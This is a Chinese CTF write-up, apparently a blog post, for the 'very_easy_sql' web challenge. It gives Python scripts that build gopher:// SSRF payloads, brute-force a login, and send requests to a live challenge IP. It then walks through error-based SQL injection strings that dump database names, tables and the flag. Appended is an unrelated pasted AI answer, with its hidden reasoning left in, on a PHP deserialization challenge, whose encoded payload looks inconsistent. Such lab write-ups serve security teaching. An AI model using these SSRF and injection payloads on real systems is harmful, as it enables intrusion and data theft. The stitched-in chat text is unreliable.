攻防世界——Web题 very_easy_sql

目录

payload1

payload2

payload3

 

看到了题目是sql就猜测是sql注入和万能密码了,但怎么试貌似都没有反应,看源代码发现了use.php

访问use.php页面 

可以猜测这里是SSRF,可以访问到我们本不能访问的界面,比如:服务器本地的127.0.0.1:3306

先尝试127.0.0.1

发现成功包含了index.php页面,此页面端口号为80端口,而我们要用到的就是这个端口,还记得一开始的页面:

应该是借助这里的SSRF,才有正常的身份验证权,现在就是想如何借助SSRF向服务器构造请求,让服务器正常执行我们的身份验证权。下面是我之前的一些尝试:

尝试:file:///flag -> nonono 猜测有协议过滤

最终发现gopher不会出现nono用no,这也是我们可以利用的一个协议

gopher协议:可直接封装TCP数据流,模拟基于TCP的应用层协议,只要按目标服务的协议格式构造数据,就能通过gopher协议发送请求。借用该协议SSRF可借助服务器权限攻击内网中原本无法直接访问的服务,实现命令执行,文件写入等高危操作。 

 接下来直接来构造,参考的是这位师傅的文章:攻防世界 very_easy_sql - 寄居动物 - 博客园

payload1

import urllib.parse

host="127.0.0.1:80" 
content_type="application/x-www-form-urlencoded" # 表示请求体是经过 URL 编码的表单数据
content="uname=admin&passwd=admin" # 请求的POST内容
content_length=len(content)

data =\
f'''POST /index.php HTTP/1.1
Host: {host}
Content-Type: {content_type}
Content-Length: {content_length}

{content}
'''


data_url1 = urllib.parse.quote(data) # 将请求转换为URL编码格式
data_url1 = data_url1.replace("%0A","%0D%0A")
# HTTP请求中的行分隔符是\r\n(即%0D%0A的形式)
# 而Python中字符串的默认行为中换行符是\n 所以需要将0a替换为0d0a
data_url2=urllib.parse.quote(data_url1) # 要URL编码解码两次

payload='gopher://127.0.0.1:80/_'+data_url2

print(payload)

这是借助师傅的wp写出来的, 其中有一点没想明白的是,这里默认是admin/admin,是弱密码没错,但我觉得这里应该有一个爆破的环节,对password进行爆破;而password长度的区别又会影响到content_length的长度(经实验,如果content_length不同的话无法得出答案),所以进行爆破的部分也许可以是这个URL部分:
修改后的代码:

payload2

import urllib.parse

def generate_payload(password):
    host = "127.0.0.1:80"
    content_type = "application/x-www-form-urlencoded"
    content = f"uname=admin&passwd={password}"
    content_length = len(content)

    # 构造HTTP请求,确保包含正确的Content-Length
    data = f'''POST /index.php HTTP/1.1
    Host: {host}
    Content-Type: {content_type}
    Content-Length: {content_length}

    {content}
    '''

    # 第一次URL编码
    data_url1 = urllib.parse.quote(data)
    # 替换换行符为HTTP标准的\r\n
    data_url1 = data_url1.replace("%0A", "%0D%0A")
    # 第二次URL编码
    data_url2 = urllib.parse.quote(data_url1)
    # 生成最终的Gopher URI
    payload = f'gopher://{host}/_{data_url2}'
    
    return payload

def main():
    # 定义密码字典
    passwords = [
        "password", "123456", "12345678", "qwerty", "abc123",
        "monkey", "1234567", "letmein", "trustno1", "dragon",
        "baseball", "111111", "iloveyou", "master", "sunshine",
        "ashley", "bailey", "passw0rd", "shadow", "123123",
        "654321", "superman", "qazwsx", "michael", "Football", "admin"
    ]# 换成自己的字典

    # 打开文件以保存结果
    with open('test.txt', 'w') as f:
        for password in passwords:
            payload = generate_payload(password)
            f.write(f"{payload}\n")
            print(f"Generated payload for password: {password}")
    
    print(f"\n所有payload已保存到 test.txt 文件中")

if __name__ == "__main__":
    main()    

 尝试爆破:

 

稍微有些慢,得到1525长度的URL,对应的密码为admin 

得到payload:

gopher://127.0.0.1:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252024%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A

响应包为:

 

base64解码得: admin   接下来。。。也不知道怎么办了,加上Cookie参数试试也没反应,后来才知道这里才是用sql的地方。。。

现在直接用python脚本来测sql,构造请求包,也是参考的上面师傅的文章:

payload3

import base64
import urllib.parse
import requests

# 初始化请求
url="http://61.147.171.103:54075/use.php"
headers={'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0'}


def payload(sql):
    sql=base64.b64encode(sql.encode('utf-8')).decode('utf-8')
    cookie=f"this_is_your_cookie={sql}"

    data = \
f'''POST /index.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Cookie: {cookie}
'''
    # 注意这里的data不能缩进

    data_url1 = urllib.parse.quote(data)
    data_url1 = data_url1.replace("%0A","%0D%0A")
    gopher='gopher://127.0.0.1:80/_'+data_url1
    return gopher

# 测试
sql="admin'"

pay=payload(sql)
print(pay)
params={'url':f'{pay}'}
res=requests.get(url,params=params)
print(res.text)

 

发现闭合方式,且可尝试报错注入

# 爆库得到:security

sql="admin') and extractvalue(1,concat(0x7e,database())) #

# 爆表得到:emails,flag,referers,uagents,us

admin') and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'))) #

# 爆列名得到:flag

admin') and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='flag'))) #

# 爆值得到:cyberpeace{56c067fba665158ddcac12237bcbfa9e}

admin') and extractvalue(1,concat(0x7e,(select left(flag,20) from flag))) #

admin') and extractvalue(1,concat(0x7e,(select right(flag,20) from flag))) #

 


 

 

<think>好的,我现在需要帮助用户解决攻防世界Web_php_unserialize的CTF目。首先,用户希望了解解思路,特别是针对PHP反序列化的新手。我应该结合用户提供的引用内容来整理答案。 首先,我需要回顾用户提供的引用。引用[4]详细分析了Demo类的结构,包括__wakeup魔术方法和如何绕过它。引用[2]提到了当__wakeup被调用时会退出,所以可能需要绕过这个方法的执行。引用[5]提到了绕过__wakeup的方法,比如修改对象属性的数量。此外,引用[1]和[3]提供了PHP反序列化的基础知识和phps文件的作用,可能对解有帮助。 接下来,解步骤可能需要包括以下部分: 1. **代码分析**:查看目提供的PHP代码,找到反序列化的入口和可能的漏洞点。比如,是否存在反序列化时的__wakeup方法,或者反序列化后触发的__destruct方法。 2. **绕过__wakeup**:根据引用[2]和引用[4],如果__wakeup方法会终止程序或修改关键变量,就需要绕过它。通常可以通过修改序列化字符串中的属性数量,使其大于实际数量,从而避免__wakeup的执行。例如,将O:4改为O:+4,或者调整属性数量。 3. **处理正则过滤**:引用[4]提到代码中可能使用preg_match来检查序列化字符串,如匹配类似O:数字的情况。这时候需要绕过这种过滤,比如使用O:+4代替O:4,或者在数字前添加加号。 4. **构造Payload**:构造一个恶意序列化字符串,触发__destruct方法,从而读取flag文件。例如,将$file变量设置为fl4g.php,在对象销毁时输出其内容。 5. **Base64编码**:根据引用[4]和引用[5],可能需要将序列化后的字符串进行Base64编码,以符合目参数的要求。 6. **利用私有变量处理**:如果涉及私有变量,需要注意序列化时的格式,比如%00类名%00变量名,但可能需要URL编码处理。 在整理步骤时,需要确保每个部分都有对应的引用支持,并正确标注引用来源。同时,用户可能需要具体的示例payload和步骤说明,例如如何修改属性数量,如何绕过正则表达式等。 此外,用户可能还需要相关的学习资源或常见技巧,比如魔术方法的作用、反序列化漏洞的原理,这些可以结合引用内容中的知识点进行补充。 最后,生成相关问,帮助用户进一步学习,比如如何绕过正则表达式、其他魔术方法的影响,或者私有变量的处理方式等。 需要确保回答结构清晰,分步骤说明,并且引用正确。同时,检查是否有遗漏的步骤或错误,比如是否应该使用大写C还是O,或者Base64编码后的字符串是否需要特殊处理等。</think>### Web_php_unserialize 解思路 #### 一、目分析 1. **代码审查** 目通常提供PHP源码(可能通过`.phps`文件显示[^3])。核心逻辑如下: - 类中包含`__wakeup()`方法,会强制重置关键变量(如将`$file`设为`index.php`[^4])。 - 反序列化入口通过`unserialize(base64_decode($_GET['var']))`接收参数[^5]。 - 存在正则过滤`preg_match('/[oc]:\d+:/i')`,阻止以`O:数字`开头的序列化字符串。 2. **漏洞定位** 目标是通过反序列化触发`__destruct()`方法,读取`fl4g.php`文件内容。需绕过以下限制: - **绕过`__wakeup()`**:修改序列化字符串中对象属性数量。 - **绕过正则过滤**:调整序列化字符串格式。 --- #### 二、解步骤 1. **构造恶意类** 假设目类名为`Demo`,其`$file`属性为目标文件`fl4g.php`: ```php class Demo { private $file = 'fl4g.php'; } ``` 2. **生成序列化字符串** - 序列化对象: ```php $obj = new Demo(); $serialized = serialize($obj); ``` 输出类似:`O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}`。 - **绕过`__wakeup()`**: 修改属性数量为**大于实际值**(如从`1`改为`2`): ```php $payload = str_replace(':1:', ':2:', $serialized); ``` - **绕过正则过滤**: 将`O:4`改为`O:+4`或`O:4`后添加注释符`%2b`(`+`的URL编码): ```php $payload = preg_replace('/O:\d+/', 'O:+4', $payload); ``` 3. **Base64编码** 目要求参数`var`需Base64编码[^5]: ```php $final_payload = base64_encode($payload); ``` 4. **发送Payload** 通过URL传递参数: ``` http://目地址?var=<?php echo $final_payload; ?> ``` --- #### 三、关键技巧 1. **魔术方法绕过** - `__wakeup()`在反序列化时自动调用,但若对象属性数被修改为超过实际值,则不会触发[^2][^4]。 - `__destruct()`在对象销毁时触发,可用于执行关键操作(如读取文件)。 2. **正则绕过** - 使用`O:+4`代替`O:4`,利用`+`符号绕过`\d+`匹配。 - 若过滤严格,可尝试Unicode编码或特殊符号注入。 --- #### 四、示例Payload 原始序列化字符串: ``` O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";} ``` 修改后: ``` O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";} ``` Base64编码结果: ``` TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== ``` ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值